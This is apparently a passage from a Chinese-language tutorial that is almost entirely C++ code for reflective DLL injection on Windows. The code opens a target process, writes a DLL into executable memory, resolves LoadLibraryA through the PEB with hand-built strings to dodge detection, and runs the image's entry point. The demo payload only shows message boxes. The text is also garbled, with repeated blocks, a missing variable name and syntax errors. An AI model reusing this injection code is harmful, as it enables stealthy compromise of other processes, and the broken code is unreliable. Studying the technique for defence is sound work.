    CloseHandle(hProcessSnap); //关闭系统进程快照的句柄
    return ProcessId;
}
DWORD ProcesstoPid(wchar_t* Processname) //查找指定进程的PID(Process ID)
{
    HANDLE hProcessSnap = NULL;
    DWORD ProcessId = 0;
    PROCESSENTRY32 pe32 = { 0 };
    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //打开进程快照
    if (hProcessSnap == (HANDLE)-1)
    {
        printf("\n[-] CreateToolhelp32Snapshot() Error: %d", GetLastError());
        return 0;
    }
    pe32.dwSize = sizeof(PROCESSENTRY32);
    if (Process32First(hProcessSnap, &pe32)) //开始枚举进程
    {
        do
        {
            if (!wcscmp(Processname, pe32.szExeFile)) //判断是否和提供的进程名相等,是,返回进程的ID
            {
                ProcessId = pe32.th32ProcessID;
                break;
            }
        } while (Process32Next(hProcessSnap, &pe32)); //继续枚举进程
    }
    else
    {
        printf("\n[-] Process32First() Error: %d", GetLastError());
        return 0;
    }
    if (!ProcessId) printf("\nno find");
    else printf("[+] target id is %d", ProcessId);
    CloseHandle(hProcessSnap); //关闭系统进程快照的句柄
    return ProcessId;
}
//与普通dll注入一样,首先要做的是获取句柄
HANDLE hProc = NULL;
 
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if (!hProc)
{
    printf("\n[-] OpenProcess Failed.");
    DWORD dwError = GetLastError();
    printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);
    return FALSE;
}
//与普通dll注入一样,首先要做的是获取句柄
HANDLE hProc = NULL;
 
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if (!hProc)
{
    printf("\n[-] OpenProcess Failed.");
    DWORD dwError = GetLastError();
    printf("\n[-] OpenProcess failed. Error code: %d\n", dwError);
    return FALSE;
}
//有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中
//ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间
 
HANDLE hFile = CreateFileA(Dllname,
    GENERIC_READ,                           //读取权限
    FILE_SHARE_READ | FILE_SHARE_WRITE,     //允许其他进程读取文件|允许其他进程写入文件
    NULL,                                   //不需要特定的安全性
    OPEN_EXISTING,                          //不需要特定的安全性
    FILE_ATTRIBUTE_NORMAL,                  //如果文件存在,则打开文件。如果文件不存在,操作会失败
    NULL                                    //普通文件,没有特殊属性。
);
if (hFile == INVALID_HANDLE_VALUE) {
    printf("\n[-] CreateFileA failed.");
    return FALSE;
}
 
DWORD FileSize = GetFileSize(hFile, NULL);
LPDWORD SizeToRead = 0;
//本地暂存
unsigned char* pBuf = new unsigned char[FileSize];
ZeroMemory(pBuf, FileSize);
int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);  //读取文件放在开辟的空间里,pBuf为空间句柄
if (result == 0)
{
    printf("\n[-] 文件读取失败");
    return FALSE;
}
//有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中
//ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间
 
HANDLE hFile = CreateFileA(Dllname,
    GENERIC_READ,                           //读取权限
    FILE_SHARE_READ | FILE_SHARE_WRITE,     //允许其他进程读取文件|允许其他进程写入文件
    NULL,                                   //不需要特定的安全性
    OPEN_EXISTING,                          //不需要特定的安全性
    FILE_ATTRIBUTE_NORMAL,                  //如果文件存在,则打开文件。如果文件不存在,操作会失败
    NULL                                    //普通文件,没有特殊属性。
);
if (hFile == INVALID_HANDLE_VALUE) {
    printf("\n[-] CreateFileA failed.");
    return FALSE;
}
 
DWORD FileSize = GetFileSize(hFile, NULL);
LPDWORD SizeToRead = 0;
//本地暂存
unsigned char* pBuf = new unsigned char[FileSize];
ZeroMemory(pBuf, FileSize);
int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);  //读取文件放在开辟的空间里,pBuf为空间句柄
if (result == 0)
{
    printf("\n[-] 文件读取失败");
    return FALSE;
}
//对接下来开辟的空间进行计算大小
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));
DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;
 
//开辟目标进程中的"类磁盘"空间,大小为前文的FileSize
//这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)
//这里创建的时候一下子创两个
//刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想
ULONG_PTR TotalSize = ImageSize + ImageSize;
printf("\n[+] FileSize : %p", FileSize);
printf("\n[+] ImageSize: %p", ImageSize);
printf("\n[+] TotalSize: %p", TotalSize);
//这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小
LPVOID  = VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pDll == NULL) {
    printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());
    return FALSE;
}
 
// 清零目标进程内存
SIZE_T sizeToZero = TotalSize; // 需要清零的字节数
BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1); // 创建一个全零的缓冲区
if (zeroBuffer == NULL) {
    printf("Failed to allocate zero buffer.\n");
    return -1;
}
// 写入全零到目标内存
if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
    DWORD errorCode = GetLastError();
    printf("WriteProcessMemory failed with error code: %lu\n", errorCode);
}
// 释放缓冲区
free(zeroBuffer);
 
//将dll文件写入进去
if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
    return FALSE;
}
//对接下来开辟的空间进行计算大小
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));
DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;
 
//开辟目标进程中的"类磁盘"空间,大小为前文的FileSize
//这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)
//这里创建的时候一下子创两个
//刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想
ULONG_PTR TotalSize = ImageSize + ImageSize;
printf("\n[+] FileSize : %p", FileSize);
printf("\n[+] ImageSize: %p", ImageSize);
printf("\n[+] TotalSize: %p", TotalSize);
//这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小
LPVOID  = VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pDll == NULL) {
    printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError());
    return FALSE;
}
 
// 清零目标进程内存
SIZE_T sizeToZero = TotalSize; // 需要清零的字节数
BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1); // 创建一个全零的缓冲区
if (zeroBuffer == NULL) {
    printf("Failed to allocate zero buffer.\n");
    return -1;
}
// 写入全零到目标内存
if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
    DWORD errorCode = GetLastError();
    printf("WriteProcessMemory failed with error code: %lu\n", errorCode);
}
// 释放缓冲区
free(zeroBuffer);
 
//将dll文件写入进去
if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
    return FALSE;
}
//接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload
//注意前文开辟的"类磁盘"空间中的pDll
// 假设 ReflectLoader 是目标函数名
const char* reflectFuncName = "ReflectLoader";
 
// 获取 ReflectLoader 在目标进程内存中的地址
LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if (!pReflectLoader) {
    printf("[-] Failed to find ReflectLoader.\n");
    VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
    return FALSE;
}
//接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload
//注意前文开辟的"类磁盘"空间中的pDll
// 假设 ReflectLoader 是目标函数名
const char* reflectFuncName = "ReflectLoader";
 
// 获取 ReflectLoader 在目标进程内存中的地址
LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if (!pReflectLoader) {
    printf("[-] Failed to find ReflectLoader.\n");
    VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
    return FALSE;
}
//该函数通过分析PE文件头来尝试获取句柄
LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) {
    //这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf
 
    //定位一些相关文件头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
 
    //获取导出表地址及大小,注意这里是RVA
    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
    DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
 
    //定位导出表
    //这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换
    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec);
 
    //转换之后RVA就变成了文件偏移,然后再定位
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);
 
    //解析导出表,这里同理都是RVA
    DWORD pRNames = pExportDir->AddressOfNames;
    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
    DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames);
 
    DWORD pRFunctions = pExportDir->AddressOfFunctions;
    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
    DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions);
 
    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
    WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions);
 
    // 遍历查找目标函数
    DWORD funcRVA = 0;
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        DWORD functionNameRVA = pNames[i];
        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
        const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset);
        if (strcmp(pName, funcName) == 0) {
            funcRVA = pFunctions[i];
            break;
        }
    }
    if (funcRVA == 0) {
        printf("\n[-] Function %s not found.", funcName);
        return NULL;
    }
 
    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
    DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset);
    if (fileOffset == 0) {
        printf("\n[-] Failed to convert RVA to file offset.");
        return NULL;
    }
 
 
    LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset;
    return remoteFuncAddr;
}
//该函数通过分析PE文件头来尝试获取句柄
LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) {
    //这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf
 
    //定位一些相关文件头
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew);
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS));
 
    //获取导出表地址及大小,注意这里是RVA
    DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
    DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
 
    //定位导出表
    //这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换
    DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec);
 
    //转换之后RVA就变成了文件偏移,然后再定位
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset);
 
    //解析导出表,这里同理都是RVA
    DWORD pRNames = pExportDir->AddressOfNames;
    DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
    DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames);
 
    DWORD pRFunctions = pExportDir->AddressOfFunctions;
    DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
    DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions);
 
    WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
    WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
    WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions);
 
    // 遍历查找目标函数
    DWORD funcRVA = 0;
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        DWORD functionNameRVA = pNames[i];
        DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
        const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset);
        if (strcmp(pName, funcName) == 0) {
            funcRVA = pFunctions[i];
            break;
        }
    }
    if (funcRVA == 0) {
        printf("\n[-] Function %s not found.", funcName);
        return NULL;
    }
 
    DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
    DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset);
    if (fileOffset == 0) {
        printf("\n[-] Failed to convert RVA to file offset.");
        return NULL;
    }
 
 
    LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset;
    return remoteFuncAddr;
}
//用于转换RVA->文件偏移地址
//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置
DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
    // 遍历节区表
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        // 检查RVA是否在当前节区的范围内
        if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
            // 转换RVA到文件偏移地址
            return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
        }
    }
    // 如果未找到对应的节区,返回无效值
    return 0xFFFFFFFF;
}
//用于转换RVA->文件偏移地址
//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置
DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
    // 遍历节区表
    for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        // 检查RVA是否在当前节区的范围内
        if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
            // 转换RVA到文件偏移地址
            return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
        }
    }
    // 如果未找到对应的节区,返回无效值
    return 0xFFFFFFFF;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
 
extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);
wchar_t* ExtractDllName(const wchar_t* fullDllName);
void my_wctomb(char* dest, const wchar_t* src);
int CompareStrings(const char* str1, const char* str2);
// DLL入口点函数
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
 
    // 弹窗代码
    MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK);
 
    char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区
 
    // 获取当前进程的可执行文件路径
    DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH);
    MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK);
 
    Sleep(99999999);
 
    return TRUE;
}
// 自定义的宽字符转普通字符的函数
void my_wctomb(char* dest, const wchar_t* src) {
    while (*src) {
        if (*src >= L'A' && *src <= L'Z') {
            *dest = (char)(*src + (L'a' - L'A'));  // 转换大写字符为小写
        }
        else if (*src >= L'a' && *src <= L'z') {
            *dest = (char)*src;  // 保留小写字符
        }
        else if (*src >= L'0' && *src <= L'9') {
            *dest = (char)*src;  // 保留数字字符
        }
        else {
            *dest = '?'// 对于其他字符,可以选择替代字符,例如 '?'
        }
        dest++;
        src++;
    }
    *dest = '\0'// 确保目标字符串以 null 结尾
}
int CompareStrings(const char* str1, const char* str2) {
    while (*str2 != '\0') {
        if (*str1 != *str2) {
            return 0; // 返回差值
        }
        str1++;
        str2++;
    }
    return 1; // 两个字符串完全匹配时返回0
}
// 比较两个 DLL 名称(大小写不敏感)
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) {
    size_t i = 0;
    while (dllName[i] != L'\0' || targetDllName[i] != L'\0') {
        // 将两个字符都转换为小写进行比较
        wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i];
        wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i];
 
        // 如果字符不同,则返回比较结果
        if (ch1 != ch2) {
            return 0;
        }
        i++;
    }
 
    // 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等
    return 1;  // 如果两个字符串完全相同,返回 0
}
 
// 提取 DLL 名称的函数
wchar_t* ExtractDllName(const wchar_t* fullDllName) {
    wchar_t* fileName = NULL;
    wchar_t* temp = (wchar_t*)fullDllName;
 
    // 遍历并找到最后一个 '\\',获取文件名部分
    while (*temp) {
        if (*temp == L'\\') {
            fileName = temp + 1;  // 更新文件名的位置
        }
        temp++;
    }
 
    // 如果没有找到 '\\',则认为整个字符串就是文件名
    if (!fileName) {
        fileName = (wchar_t*)fullDllName;
    }
 
    return fileName;
}
 
extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll)
{
    //获取磁盘文件的DOS头和NT头
    PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll;                             //赋值DOS头
    PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头
 
    //给内存分配空间,并对pAlloc进行初始化
    DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage;  //内存空间大小
    PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize);
 
    if (pAlloc == NULL) return FALSE;
    if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE;  // 无效的头,直接退出
 
 
    // 手动实现 CopyMemory 的功能
    BYTE* dst = (BYTE*)pAlloc;               // 目标内存地址
    BYTE* src = (BYTE*)pDll;                 // 源内存地址
    size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数
 
    for (size_t i = 0; i < size; ++i) {
        dst[i] = src[i];                     // 逐字节复制
    }
 
    //复制节区表
    PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS));
    DWORD SecNum = pNTheader->FileHeader.NumberOfSections;
 
    for (int i = 0; i < SecNum; i++) {
        if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) {
            pSec++;
            continue;
        }
 
        char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData));
        char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress));
        DWORD dwSizeOfRawData = pSec->SizeOfRawData;
        DWORD dwVirtualSize = pSec->Misc.VirtualSize;
        for (DWORD j = 0; j < dwSizeOfRawData; j++) {
            chDestMem[j] = chSrcMem[j];
        }
 
        if (dwVirtualSize > dwSizeOfRawData) {
            char* start = chDestMem + dwSizeOfRawData;
            char* end = chDestMem + dwVirtualSize;
            while (start < end) {
                *start++ = 0;
            }
        }
 
        pSec++;
    }
 
    //杜哥部分登场
    //开始检测并加载重定位表
    PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc);
    //重定位表指针通过NT结构的数据目录表查找到位置
    int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中
    if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL)
    {
        do {
            PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8);          //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构
            int num = (pBaseReloc->SizeOfBlock - 8) / 2;                //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的
            for (int i = 0; i < num; i++)
            {
                WORD type = TypeOffset[i] >> 12;                        //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型)
                WORD offset = TypeOffset[i] & 0x0FFF;                   //去掉类型(前四字节)
                int differ = 0;
                if (type == 3)
                {
                    differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase;
                    ULONG_PTR p = (ULONG_PTR)pAlloc + differ;
                    char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress;
                    char* fromeaddr = (char*)p;
                    for (int c = 0;c < 4;c++) {
                        tagetaddr[c] = fromeaddr[c];
                    }
                }
            }
            SizeOfBaseReloc -= pBaseReloc->SizeOfBlock;                 //通过字节大小来间接表示个数
            pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构
        } while (SizeOfBaseReloc);
    }
 
    //导入表的处理
    //因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了
    // 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过
    // TEB和PEB的帮助找到了
    //GetProcAddress的地址
    typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR);
    //LoadLibrary的地址
    typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
 
    GETPROCADDR pGetProcAddress = NULL;
    LOADLIBRARYA pLoadLibraryA = NULL;
 
    //得到TEB的地址,通过TEB找到PEB
    PTEB pTEB = (PTEB)__readgsqword(0x30);
    PPEB pPEB = pTEB->ProcessEnvironmentBlock;
    // 获取PEB.Ldr
    PPEB_LDR_DATA pLdr = pPEB->Ldr;
 
    // 遍历模块列表,找到 kernel32.dll
    PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY pCurrentEntry = pListHead->Flink;
    while (pCurrentEntry && pCurrentEntry != pListHead)
    {
        PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pEntry && pEntry->FullDllName.Buffer)
        {
            wchar_t* dllName = pEntry->FullDllName.Buffer;
            // 提取 DLL 名称
            wchar_t* fileName = ExtractDllName(dllName);
            // 目标 DLL 名称kernel32.dll
            wchar_t a[50] = { 0 };
            a[0] = L'k';
            a[1] = L'e';
            a[2] = L'r';
            a[3] = L'n';
            a[4] = L'e';
            a[5] = L'l';
            a[6] = L'3';
            a[7] = L'2';
            a[8] = L'.';
            a[9] = L'd';
            a[10] = L'l';
            a[11] = L'l';
            a[12] = L'\0';
 
            if (CompareDllName(fileName, a)) {
                //分析PE文件找到导出表
                HMODULE hKernel32 = (HMODULE)pEntry->DllBase;
                PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew);
                // 获取导出表的地址
                PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
                // 获取导出表的各个信息
                DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames);
                DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions);
                WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals);
 
                // 遍历导出表,查找 LoadLibraryA
                char targetName1[50] = "LoadLibraryA";
                targetName1[0] = 'L';
                targetName1[1] = 'o';
                targetName1[2] = 'a';
                targetName1[3] = 'd';
                targetName1[4] = 'L';
                targetName1[5] = 'i';
                targetName1[6] = 'b';
                targetName1[7] = 'r';
                targetName1[8] = 'a';
                targetName1[9] = 'r';
                targetName1[10] = 'y';
                targetName1[11] = 'A';
                targetName1[12] = '\0';
                // 遍历导出表,查找 GetProcAddress
                char targetName2[50] = { 0 };
                targetName2[0] = 'G';
                targetName2[1] = 'e';
                targetName2[2] = 't';
                targetName2[3] = 'P';
                targetName2[4] = 'r';
                targetName2[5] = 'o';
                targetName2[6] = 'c';
                targetName2[7] = 'A';
                targetName2[8] = 'd';
                targetName2[9] = 'd';
                targetName2[10] = 'r';
                targetName2[11] = 'e';
                targetName2[12] = 's';
                targetName2[13] = 's';
                targetName2[14] = '\0';
                int isP = 0;
                for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
                    char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]);
                    if (CompareStrings(functionName, targetName1)) {
                        // 找到函数名,获取其地址
                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
                        pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA);
                        isP++;
                    }
                    if (CompareStrings(functionName, targetName2)) {
                        // 找到函数名,获取其地址
                        DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]];
                        pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA);
                        isP++;
                    }
                    if (isP == 2) {
                        break;
                    }
                }
                break; // 找到后退出
            }
        }
        pCurrentEntry = pCurrentEntry->Flink;
    }
 
    if (!pLoadLibraryA && !pGetProcAddress)
    {
        char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块";
        return FALSE;
    }
    else {
        char sucsess[] = "sucsess";
    }
 
    PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
    //这个是IID的指针
    if (pImport != NULL)
    {
        while (pImport->Name != NULL)
        {
            char DLLname[50] = { 0 }; // 定义一个存储 DLL 名称的缓冲区
            char* pDLLName = (char*)(pImport->Name + pAlloc); // 获取 DLL 名称的地址
 
            // 手动将名称拷贝到 DLLname 缓冲区
            for (int i = 0; i < sizeof(DLLname) - 1; i++)
            {
                if (pDLLName[i] == '\0') // 遇到字符串结束符时停止
                    break;
                DLLname[i] = pDLLName[i]; // 拷贝字符
            }
            DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾
 
            HMODULE hProcess = pLoadLibraryA(DLLname);               //通过名称找句柄
            if (!hProcess)
            {
                return FALSE;
            }
            PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
            PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
            while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
            {
                PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);  //找DLL中函数的名字
                if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式
                {
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));//通过序号来获取地址
                }
                else
                {
                    pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name));             //通过函数名来获取地址
                }
                pINT++;
                pIAT++;
            }
            pImport++;
        }
    }
 
    //最后的操作就是修正程序的入口地址
    PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew);
    FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint);
    EOP();
    return TRUE;
}
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include<stdio.h>
#include <stdbool.h>
#include <winternl.h>
 
extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);
int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);
